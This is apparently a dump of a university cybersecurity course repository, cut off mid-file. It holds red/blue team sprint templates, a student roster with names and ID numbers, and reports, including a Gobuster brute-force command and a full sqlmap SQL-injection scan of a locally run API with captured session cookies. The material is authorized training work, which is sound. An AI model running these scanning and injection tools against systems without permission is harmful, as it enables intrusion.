├── .github
└── ISSUE_TEMPLATE
│ ├── Create sprint-3---blue-team.md
│ ├── sprint-1---blue-team.md
│ ├── sprint-1---red-team.md
│ ├── sprint-2---blue-team.md
│ ├── sprint-2---red-team-.md
│ ├── sprint-3---red-team.md
│ ├── sprint-4---red-team.md
│ └── sprint-5---red-team.md
├── 2024.2
├── readme.md
├── relatorio
│ ├── Images
│ │ ├── bandit_results.png
│ │ ├── bandit_running.png
│ │ ├── buffer_overflow.png
│ │ ├── ddos.png
│ │ ├── privilage_escalation.png
│ │ ├── side_channel.png
│ │ ├── trivy_results.png
│ │ └── trivy_running.png
│ ├── imagens
│ │ └── sql_grupo3.png
│ ├── sprint_1
│ │ ├── 180011472_Rodolfo_Neves.md
│ │ ├── 190086971_Felipe_Direito.md
│ │ ├── 190093625_MilenaAires.md
│ │ ├── 211029147_Arthur_Viana.md
│ │ ├── 211031833_Taynara_Marcellos.md
│ │ ├── 211039250_Arthur_Grandao.md
│ │ ├── Grupo2-RedTeam
│ │ │ └── 211039439_Gabriel_Marques.md
│ │ ├── grupo_2.md
│ │ ├── grupo_3.md
│ │ ├── grupo_4.md
│ │ ├── image-1.png
│ │ ├── image.png
│ │ └── img_g2
│ │ │ ├── 211029666_test2.png
│ │ │ ├── 211029666_test3.png
│ │ │ ├── 211029666_test4.png
│ │ │ ├── 211029666_test5.png
│ │ │ ├── 21102966_test1.png
│ │ │ ├── image1.png
│ │ │ ├── image2.png
│ │ │ ├── image3.png
│ │ │ └── image4.png
│ ├── sprint_2
│ │ ├── grupo_1.md
│ │ ├── grupo_3.md
│ │ └── grupo_4.md
│ └── sprint_3
│ │ └── grupo_4.md
└── url_mec_energia.txt
├── 2025.1
├── EJ
│ └── BlueTeam
│ │ ├── artefatos
│ │ ├── bandit-report.html
│ │ └── gitleaks.md
│ │ └── relatorios
│ │ ├── sprint1.md
│ │ └── sprint2.md
├── MEPA
│ ├── BlueTeam
│ │ └── relatorios
│ │ │ ├── sprint1.md
│ │ │ └── sprint2.md
│ └── RedTeam
│ │ ├── imagens
│ │ ├── burpSuite01.png
│ │ ├── burpSuite02.png
│ │ └── burpSuite03.png
│ │ └── relatorios
│ │ └── sprint1.md
├── Tainacan
│ ├── BlueTeam
│ │ └── Relatorios
│ │ │ └── sprint_2
│ │ │ └── Relatorio2.md
│ └── RedTeam
│ │ └── readme.md
└── readme.md
└── readme.md
/.github/ISSUE_TEMPLATE/Create sprint-3---blue-team.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Sprint 3 – Blue Team
3 | about: SAST (Static Application Security Testing) para Docker
4 | title: Sprint 3 – Blue Team
5 | labels: blue-team
6 | assignees: ''
7 |
8 | ---
9 |
10 | # SAST (Static Application Security Testing) para Docker
11 | ## Descrição
12 |
13 | Deve ser implementado um SAST para Docker na pipeline, de modo que verifique vulnerabilidades nas configurações do container. É recomendado o [Trivy](https://trivy.dev) , mas pode se usado qualquer outro de acordo a preferência do grupo.
14 |
15 | ## Módulos do Try Hack Me
16 | 1. [CI/CD and Build Security](https://tryhackme.com/r/why-subscribe?roomCode=cicdandbuildsecurity)
17 |
18 | ## Critérios de aceitação
19 | 1.Deve ser criado um relatório no diretório [semestre_atual]/relatorio/sprint_[n]/grupo_[n]_blueteam.md ..
20 |
21 | ## Referências
22 | 1. [Trivy](https://github.com/aquasecurity/trivy)
23 |
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE/sprint-1---blue-team.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Sprint 1 – Blue Team
3 | about: SAST (Static Application Security Testing)
4 | title: Sprint 1 – Blue Team
5 | labels: blue-team
6 | assignees: ''
7 |
8 | ---
9 |
10 | # SAST (Static Application Security Testing)
11 | ## Descrição
12 |
13 | Deve ser implementado um SAST na pipeline, de modo que verifique vulnerabilidades no código e nas configurações.
14 |
15 | ## Módulos do Try Hack Me
16 | 1. [CI/CD and Build Security](https://tryhackme.com/r/why-subscribe?roomCode=cicdandbuildsecurity)
17 |
18 | ## Critérios de aceitação
19 | 1.Deve ser criado um relatório no diretório [semestre_atual]/relatorio/sprint_[n]/grupo_[n]_blueteam.md ..
20 |
21 | ## Referências
22 | 1. [CI/CD and Build Security](https://tryhackme.com/r/why-subscribe?roomCode=cicdandbuildsecurity)
23 |
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE/sprint-1---red-team.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Sprint 1 – Red Team
3 | about: Exploit SQL Injection
4 | title: Sprint 1 – Red Team
5 | labels: red-team
6 | assignees: ''
7 |
8 | ---
9 |
10 | # SQL INJECTION
11 | ## Descrição
12 |
13 | A API deve ser testada para verificar se está vulnerável a ataques de SQL Injection.
14 |
15 | ## Módulos do Hack The Box
16 | 1. [SQL Injection Fundamentals](https://academy.hackthebox.com/module/details/33)
17 | 2. [SQLMap Essentials](https://academy.hackthebox.com/module/details/58)
18 |
19 |
20 | ## Critérios de aceitação
21 | 1.Deve ser criado um relatório no diretório [semestre_atual]/relatorio/sprint_[n]/[matricula]_nome_sobrenome.md . [Clique aqui para ver o exemplo](https://github.com/FGA-GCES/OWASP/blob/main/2024.2/relatorio/sprint_1/180011472_Rodolfo_Neves.md).
22 |
23 | ## Referências
24 | 1. [A03:2021 – Injection](https://owasp.org/Top10/A03_2021-Injection/)
25 | 2. [OWASP SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
26 | 3. [OWASP API Security Top 10](https://owasp.org/www-project-api-security/)
27 |
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE/sprint-2---blue-team.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Sprint 2 – Blue Team
3 | about: Secrets
4 | title: Sprint 2 – Blue Team
5 | labels: blue-team
6 | assignees: ''
7 |
8 | ---
9 |
10 | # Secrets
11 | ## Descrição
12 |
13 | Deve ser verificado o uso de informações sensíveis da pipeline, como API's, usuário ou senhas hardcoded e outras informações sensíveis.
14 |
15 | ## Módulos do Try Hack Me
16 | 1. [Security of the Pipeline](https://tryhackme.com/r/path/outline/devsecops)
17 |
18 | ## Critérios de aceitação
19 | 1. Deve ser criado um relatório no diretório [semestre_atual]/relatorio/sprint_[n]/grupo_[n]_blueteam.md ..
20 |
21 | ## Referências
22 | 1. [Security of the Pipeline](https://tryhackme.com/r/path/outline/devsecops)
23 |
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE/sprint-2---red-team-.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: 'Sprint 2 – Red Team '
3 | about: Exploit Broken Access Control
4 | title: Broken Access Control
5 | labels: red-team
6 | assignees: ''
7 |
8 | ---
9 |
10 | # Broken Access Control
11 | ## Descrição
12 |
13 | A API deve ser testada para verificar se está vulnerável a Broken Access Control.
14 |
15 | ## Módulos do Hack The Box
16 |
17 | 1. [Broken Authentication](https://academy.hackthebox.com/module/details/80)
18 |
19 | ## Critérios de aceitação
20 | 1.Deve ser criado um relatório no diretório [semestre_atual]/relatorio/sprint_[n]/[matricula]_nome_sobrenome.md . [Clique aqui para ver o exemplo](https://github.com/FGA-GCES/OWASP/blob/main/2024.2/relatorio/sprint_1/180011472_Rodolfo_Neves.md).
21 |
22 | ## Referências
23 |
24 | 1. [A01:2021 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
25 | 2. [OWASP API Security Top 10](https://owasp.org/www-project-api-security/)
26 |
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE/sprint-3---red-team.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Sprint 3 – Red Team
3 | about: Exploit Server-Side Request Forgery (SSRF)
4 | title: Server-Side Request Forgery (SSRF)
5 | labels: red-team
6 | assignees: ''
7 |
8 | ---
9 |
10 | # Server-Side Request Forgery (SSRF)
11 | ## Descrição
12 |
13 | A API deve ser testada para verificar se está vulnerável a Server-Side Request Forgery (SSRF).
14 |
15 | ## Módulos do Hack The Box
16 |
17 | 1. [Server-side Attacks](https://academy.hackthebox.com/module/details/145)
18 |
19 |
20 |
21 | ## Critérios de aceitação
22 | 1.Deve ser criado um relatório no diretório [semestre_atual]/relatorio/sprint_[n]/[matricula]_nome_sobrenome.md . [Clique aqui para ver o exemplo](https://github.com/FGA-GCES/OWASP/blob/main/2024.2/relatorio/sprint_1/180011472_Rodolfo_Neves.md).
23 |
24 | ## Referências
25 |
26 | 1. [A10:2021 – Server-Side Request Forgery (SSRF)](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)
27 | 2. [OWASP API Security Top 10](https://owasp.org/www-project-api-security/)
28 |
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE/sprint-4---red-team.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Sprint 4 – Red Team
3 | about: Exploit Insecure Direct Object References (IDOR)
4 | title: Insecure Direct Object References (IDOR)
5 | labels: red-team
6 | assignees: ''
7 |
8 | ---
9 |
10 | # Server-Side Request Forgery (SSRF)
11 | ## Descrição
12 |
13 | A API deve ser testada para verificar se está vulnerável a Insecure Direct Object References (IDOR).
14 |
15 | ## Módulos do Hack The Box
16 |
17 | 1. [ Insecure Direct Object References (IDOR)](https://academy.hackthebox.com/module/details/134)
18 |
19 |
20 |
21 | ## Critérios de aceitação
22 | 1.Deve ser criado um relatório no diretório [semestre_atual]/relatorio/sprint_[n]/[matricula]_nome_sobrenome.md . [Clique aqui para ver o exemplo](https://github.com/FGA-GCES/OWASP/blob/main/2024.2/relatorio/sprint_1/180011472_Rodolfo_Neves.md).
23 |
24 | ## Referências
25 |
26 | 1. [Testing for Insecure Direct Object References](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References)
27 |
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE/sprint-5---red-team.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Sprint 5 – Red Team
3 | about: Recommendations
4 | title: Recommendations
5 | labels: red-team
6 | assignees: ''
7 |
8 | ---
9 |
10 | # Server-Side Request Forgery (SSRF)
11 | ## Descrição
12 |
13 | A equipe deve entrar em contato com a equipe de desenvolvimento para apresentar as falhas encontradas, e ajudá-las a mitigá-las.
14 |
15 | ## Módulos do Hack The Box
16 |
17 | 1. [Documentation & Reporting](https://academy.hackthebox.com/module/details/162)
18 |
19 | ## Critérios de aceitação
20 |
21 | 1. Deve ser criado um relatório FINAL no diretório [semestre_atual]/relatorio/.
22 |
23 | ## Referências
24 |
25 | 1. [Reporting](https://owasp.org/www-project-web-security-testing-guide/v42/5-Reporting/README)
26 |
--------------------------------------------------------------------------------
/2024.2/readme.md:
--------------------------------------------------------------------------------
1 | # 2024.2
2 |
3 | ## Red Team Subgrupos
4 |
5 | ## Sub-grupo 1
6 | 1. **Taynara Cristina Ribeiro Marcellos** - 211031833 - [@TaynaraCris](https://github.com/TaynaraCris)
7 | 2. **Alex Gabriel** - 200056603 - [@Gabriel-Axl](https://github.com/Gabriel-Axl)
8 | 3. **Arthur de Melo Viana** - 211029147 - [@arthurmlv](https://github.com/arthurmlv)
9 | 4. **Arthur Grandão de Mello** - 211039250 - [@arthurgrandao](https://github.com/arthurgrandao)
10 |
11 | ## Sub-grupo 2
12 | 1. **Felipe Direito C. Macedo** - 190086971 - [@felipedireito](https://github.com/felipedireito)
13 | 2. **Gabriel Campello Marques** - 211039439 - [@G16C](https://github.com/G16C)
14 | 3. **Gustavo Roberto Silva de Melo** - 211039457 - [@gusrberto](https://github.com/gusrberto)
15 | 4. **Matheus Henrique Dos Santos** - 211029666 - [@mathonaut](https://github.com/mathonaut)
16 |
17 | ## Sub-grupo 3
18 | 1. **Mateus Fidelis Marinho Maia** - 200073184 - [@MatsFidelis](https://github.com/MatsFidelis)
19 | 2. **Pedro Lucas Garcia** - 190115548 - [@AlefMemTav](https://github.com/AlefMemTav)
20 | 3. **Pablo Guilherme de Jesus Batista Silva** - 200025791 - [@PabloGJBS](https://github.com/PabloGJBS)
21 | 4. **Rafael Brito Bosi Rodrigues** - 211029559 - [@strageunit28](https://github.com/strangeunit28)
22 |
23 |
24 | ---
25 |
26 | ## Blue Team
27 |
28 | 1. **Larissa Stéfane Barboza Santos** - 211039573
29 | 2. **Milena Beatriz Aires de Santana Dias** - 190093625 - [@miilenaaires](https://github.com/miilenaaires)
30 | 3. **Cainã Valença de Freitas** - 180014412 - [@freitasc](https://github.com/freitasc)
31 |
32 |
--------------------------------------------------------------------------------
/2024.2/relatorio/Images/bandit_results.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/Images/bandit_results.png
--------------------------------------------------------------------------------
/2024.2/relatorio/Images/bandit_running.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/Images/bandit_running.png
--------------------------------------------------------------------------------
/2024.2/relatorio/Images/buffer_overflow.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/Images/buffer_overflow.png
--------------------------------------------------------------------------------
/2024.2/relatorio/Images/ddos.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/Images/ddos.png
--------------------------------------------------------------------------------
/2024.2/relatorio/Images/privilage_escalation.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/Images/privilage_escalation.png
--------------------------------------------------------------------------------
/2024.2/relatorio/Images/side_channel.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/Images/side_channel.png
--------------------------------------------------------------------------------
/2024.2/relatorio/Images/trivy_results.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/Images/trivy_results.png
--------------------------------------------------------------------------------
/2024.2/relatorio/Images/trivy_running.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/Images/trivy_running.png
--------------------------------------------------------------------------------
/2024.2/relatorio/imagens/sql_grupo3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/imagens/sql_grupo3.png
--------------------------------------------------------------------------------
/2024.2/relatorio/sprint_1/180011472_Rodolfo_Neves.md:
--------------------------------------------------------------------------------
1 | # Relatório da Sprint 1 - [TEMA]
2 |
3 | Este é um modelo que vai ser melhorado.
--------------------------------------------------------------------------------
/2024.2/relatorio/sprint_1/190086971_Felipe_Direito.md:
--------------------------------------------------------------------------------
1 | # Relatório da Sprint 1 - [Red Team]
2 |
3 | | Nome | Matrícula| Grupo |
4 | | -- | -- | -- |
5 | | Felipe Direito Corrieri de Macedo | 190086971 | Grupo 2 |
6 |
7 |
8 | ## Hack The Box
9 | Os estudos foram baseados nos módulos do Hack The Box. A seguir tenho o andamento de cada um deles:
10 |
11 | 
12 |
13 |
14 | ## Ambiente MEC-Energia
15 |
16 | Os primeiros testes serão realizados no MEC-Energia, o clone do repositório e subir a aplicação da API localmente funcionou.
17 |
18 |
19 | ## Problemas encontrados
20 |
21 | - Docker-compose desatualizado o Makefile não funcionava devido ao comando (docker compose - sem hífen) não funcionar.
22 | - O problema já foi solucionado, graças à ajuda do Rodolfo =)
23 | - VirtualBox não inicia a VM. Apenas re-instalar o VirtualBox não solucionou.
24 |
25 | 
26 |
27 | ## Próximos Passos
28 |
29 | - Resolver problemas da VirtualBox
30 | - Finalizar os módulos de estudos
31 | - Realizar os testes de SQLi com SQLMap
--------------------------------------------------------------------------------
/2024.2/relatorio/sprint_1/190093625_MilenaAires.md:
--------------------------------------------------------------------------------
1 | # Relatório Sprint 1 - Trilha de Estudos Blue Team
2 |
3 | ## Introdução
4 | Para a primeira Sprint foi definida uma trila de estudos para introduzir o conteúdo e capacitação do time para executar as tarefas. A plataforma utilizada foi o [TryHackMe](https://tryhackme.com/r/dashboard), uma plataforma direcionada para cibersegurança utilizando laboratórios e exercícios.
5 |
6 | ## Introdução à Segurança Ofensiva
7 |
8 | Introduzindo o Blue Team o primeiro curso foi voltado para mostrar ambos os lados e entender como funciona a cibersegurança. Dentro desse curso há uma interface completa onde há uma máquina onde é possível testar os conhecimentos aprendidos, como por exemplo o Gobuster.
9 |
10 | O **Gobuster** é uma ferramenta de código aberto utilizada principalmente em testes de penetração e auditorias de segurança. Ela realiza ataques de força bruta para descobrir recursos ocultos em servidores web, como diretórios, arquivos, subdomínios e endpoints. Gobuster é rápido e eficiente porque trabalha diretamente com requisições HTTP, eliminando a necessidade de renderização de páginas.
11 | ```
12 | gobuster -u http://fakebank.thm -w wordlist.txt dir
13 | ```
14 | _No comando acima, -u é usado para indicar o site que estamos escaneando, -w pega uma lista de palavras para iterar e encontrar páginas ocultas._
15 |
16 | Principais funcionalidades:
17 | - Descoberta de diretórios e arquivos: Identifica pastas e arquivos que podem estar ocultos ou desprotegidos no servidor.
18 | - Força bruta de subdomínios: Descobre subdomínios associados a um domínio específico.
19 | - Pesquisa em buckets de S3: Encontra buckets públicos ou mal configurados na AWS.
20 |
21 | É amplamente utilizado por profissionais de segurança para encontrar vulnerabilidades, verificar configurações inadequadas e explorar informações que podem ser usadas em ataques mais avançados.
22 |
23 | ## CI/CD and Build Security (Build Security)
24 |
25 | CI/CD (Continuous Integration/Continuous Deployment) é uma prática essencial no desenvolvimento de software moderno. Ela automatiza a integração, teste, entrega e implantação de software, permitindo que equipes entreguem funcionalidades rapidamente e com qualidade. Porém, essas pipelines podem introduzir riscos de segurança se não forem configuradas adequadamente.
26 |
27 | ### 1. O que é CI/CD?
28 |
29 | Continuous Integration (CI):
30 | - Desenvolvedores integram alterações de código em um repositório central com frequência.
31 | - O código é automaticamente verificado, testado e validado por meio de ferramentas.
32 | - Reduz conflitos de integração e permite detectar problemas cedo.
33 |
34 | Continuous Deployment (CD):
35 | - Automatiza a implantação de alterações aprovadas diretamente em ambientes de produção.
36 | - Minimiza a intervenção humana e acelera o ciclo de entrega.
37 |
38 |
39 | ### 2. Benefícios do CI/CD
40 | - Redução de erros manuais no processo de integração e entrega.
41 | - Entregas rápidas e consistentes de novas funcionalidades.
42 | - Feedback rápido sobre a qualidade do código.
43 | - Melhoria da colaboração entre equipes.
44 |
45 | ### 3. Segurança no Contexto de CI/CD
46 | Build Security, ou segurança em builds, refere-se à proteção do pipeline de CI/CD e do código contra vulnerabilidades e ataques. A pipeline pode se tornar um vetor de ataque se:
47 | - Configurações de segurança inadequadas forem utilizadas.
48 | - Ferramentas ou dependências desatualizadas estiverem presentes.
49 | - Secrets (segredos, como tokens e senhas) forem mal gerenciados.
50 |
51 | ### 4. Principais Riscos de Segurança na Pipeline CI/CD
52 | Exposição de Secrets:
53 | - Credenciais mal armazenadas nos repositórios ou nos pipelines.
54 | - Vazamento de chaves de API ou tokens de acesso.
55 |
56 | Ataques de Supply Chain:
57 | - Dependências de terceiros comprometidas.
58 | - Modificação maliciosa de bibliotecas externas.
59 |
60 | Execução Não Autorizada:
61 | - Scripts maliciosos ou não verificados sendo executados na pipeline.
62 | - Injeção em Variáveis de Ambiente:
63 | - Manipulação de variáveis que podem afetar a execução do código.
64 |
65 | Artefatos Não Verificados:
66 | - Deploy de builds sem validação ou com vulnerabilidades conhecidas.
67 |
68 | ### 5. Práticas de Segurança para CI/CD
69 |
70 | #### 5.1. Segurança na Integração Contínua (CI):
71 | - Análise Estática de Código (SAST): Use ferramentas como SonarQube, Semgrep ou Checkmarx para verificar vulnerabilidades no código.
72 | - Análise de Dependências (SCA): Ferramentas como Snyk, Dependabot ou OWASP Dependency-Check ajudam a identificar pacotes vulneráveis.
73 | - Revisão de Código Automatizada: Configure revisões obrigatórias e automáticas antes de aprovar alterações para a branch principal.
74 |
75 | #### 5.2. Segurança na Entrega Contínua (CD):
76 | - Verificação de Artefatos: Assegure que apenas builds assinados e verificados sejam promovidos entre ambientes. Use assinaturas digitais para autenticar artefatos.
77 | - Ambientes Isolados: Configure ambientes segregados para desenvolvimento, teste e produção.
78 | - Deploy Canary: Implante alterações para uma pequena parcela de usuários antes do rollout completo.
79 |
80 | ### 6. Protegendo a Infraestrutura do CI/CD
81 | Controle de Acesso:
82 | - Adote o princípio de privilégio mínimo (least privilege).
83 | - Use autenticação multifator (MFA) para acessar os sistemas de CI/CD.
84 |
85 | Segurança na Pipeline:
86 | - Configure triggers e aprovações manuais para deploys críticos.
87 | - Monitore o histórico de execuções e altere permissões regularmente.
88 |
89 | Segurança dos Runners/Agentes:
90 | - Use runners dedicados para builds críticos.
91 | - Mantenha os agentes atualizados com os últimos patches de segurança.
92 |
93 | Auditoria e Logs:
94 | - Habilite auditorias completas e logging para detectar acessos não autorizados ou anomalias.
95 |
--------------------------------------------------------------------------------
/2024.2/relatorio/sprint_1/211029147_Arthur_Viana.md:
--------------------------------------------------------------------------------
1 | # Relatório da Sprint 1 - SQL Injection e SQLMap
2 |
3 | ## Arthur de Melo Viana - 211029147
4 |
5 | Após configurar o Kali Linux no VMWare, subi os contêineres da API e do WEB e fiz a integração. Contudo, para os testes realizados com o SQLMap, utilizei apenas do back-end.
6 | Os testes realizados, como precisavam de autenticação, foram feitos em cima de um header capturado por meio da ferramenta OWASP Zap ao realizar login no Browser Mozilla Firefox.
7 |
8 | ### api/universities/
9 |
10 | Header (request.txt):
11 |
12 | ```
13 | GET http://localhost:8000/api/universities/ HTTP/1.1
14 | host: localhost:8000
15 | User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
16 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
17 | Accept-Language: en-US,en;q=0.5
18 | Connection: keep-alive
19 | Cookie: csrftoken=xkZ6wrqgni2vgRMBamztJRNqegkN7oIp; sessionid=es1hh1ya7kznolvjmub5l4c9nmsjw7ro
20 | Upgrade-Insecure-Requests: 1
21 | ```
22 |
23 | Comando utilizado: sqlmap -r request.txt --batch
24 |
25 | Output:
26 | ```
27 | [*] starting @ 11:13:39 /2024-11-27/
28 |
29 | [11:13:39] [INFO] parsing HTTP request from 'request.txt'
30 | [11:13:40] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
31 | do you want to try URI injections in the target URL itself? [Y/n/q] Y
32 | Cookie parameter 'csrftoken' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
33 | [11:13:40] [INFO] testing connection to the target URL
34 | [11:13:40] [INFO] testing if the target URL content is stable
35 | you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
36 | [11:13:40] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
37 | how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C
38 | [11:13:40] [INFO] testing if URI parameter '#1*' is dynamic
39 | got a 301 redirect to 'http://localhost:8000/api/universities/5831/'. Do you want to follow? [Y/n] Y
40 | [11:13:41] [WARNING] URI parameter '#1*' does not appear to be dynamic
41 | [11:13:41] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
42 | [11:13:41] [INFO] testing for SQL injection on URI parameter '#1*'
43 | [11:13:41] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
44 | [11:13:42] [WARNING] reflective value(s) found and filtering out
45 | [11:13:44] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
46 | [11:13:45] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
47 | [11:13:46] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
48 | [11:13:47] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
49 | [11:13:47] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
50 | [11:13:48] [INFO] testing 'Generic inline queries'
51 | [11:13:48] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
52 | [11:13:48] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
53 | [11:13:49] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
54 | [11:13:49] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
55 | [11:13:49] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
56 | [11:13:50] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
57 | [11:13:51] [INFO] testing 'Oracle AND time-based blind'
58 | it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
59 | [11:13:51] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
60 | [11:13:53] [WARNING] URI parameter '#1*' does not seem to be injectable
61 | [11:13:53] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
62 | [11:13:53] [WARNING] HTTP error codes detected during run:
63 | 404 (Not Found) - 10 times, 500 (Internal Server Error) - 4 times
64 |
65 | [*] ending @ 11:13:53 /2024-11-27/
66 | ```
67 | Comando utilizado: sqlmap -r request.txt --batch --level=5 --risk=3
68 | Output:
69 | ```
70 | [*] starting @ 11:24:38 /2024-11-27/
71 |
72 | [11:24:38] [INFO] parsing HTTP request from 'request.txt'
73 | [11:24:38] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
74 | do you want to try URI injections in the target URL itself? [Y/n/q] Y
75 | Cookie parameter 'csrftoken' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
76 | [11:24:38] [INFO] testing connection to the target URL
77 | [11:24:38] [INFO] testing if the target URL content is stable
78 | you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
79 | [11:24:38] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
80 | how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C
81 | [11:24:38] [INFO] testing if URI parameter '#1*' is dynamic
82 | got a 301 redirect to 'http://localhost:8000/api/universities/5742/'. Do you want to follow? [Y/n] Y
83 | [11:24:39] [WARNING] URI parameter '#1*' does not appear to be dynamic
84 | [11:24:39] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
85 | [11:24:39] [INFO] testing for SQL injection on URI parameter '#1*'
86 | [11:24:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
87 | [11:24:40] [WARNING] reflective value(s) found and filtering out
88 | [11:24:40] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
89 | [11:24:41] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
90 | [11:24:41] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
91 | [11:24:41] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
92 | [11:24:41] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
93 | [11:24:41] [INFO] testing 'Generic inline queries'
94 | [11:24:42] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
95 | [11:24:42] [WARNING] time-based comparison requires larger statistical model, please wait................ (done)
96 | [11:24:43] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
97 | [11:24:43] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
98 | [11:24:43] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
99 | [11:24:43] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
100 | [11:24:43] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
101 | [11:24:43] [INFO] testing 'Oracle AND time-based blind'
102 | it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
103 | [11:24:43] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
104 | [11:24:44] [WARNING] URI parameter '#1*' does not seem to be injectable
105 | [11:24:44] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
106 | [11:24:44] [WARNING] HTTP error codes detected during run:
107 | 404 (Not Found) - 3 times, 500 (Internal Server Error) - 1 times
108 |
109 | [*] ending @ 11:24:44 /2024-11-27/
110 | ```
111 |
112 | ### /api/university-user/
113 | Header (request.txt):
114 |
115 | ```
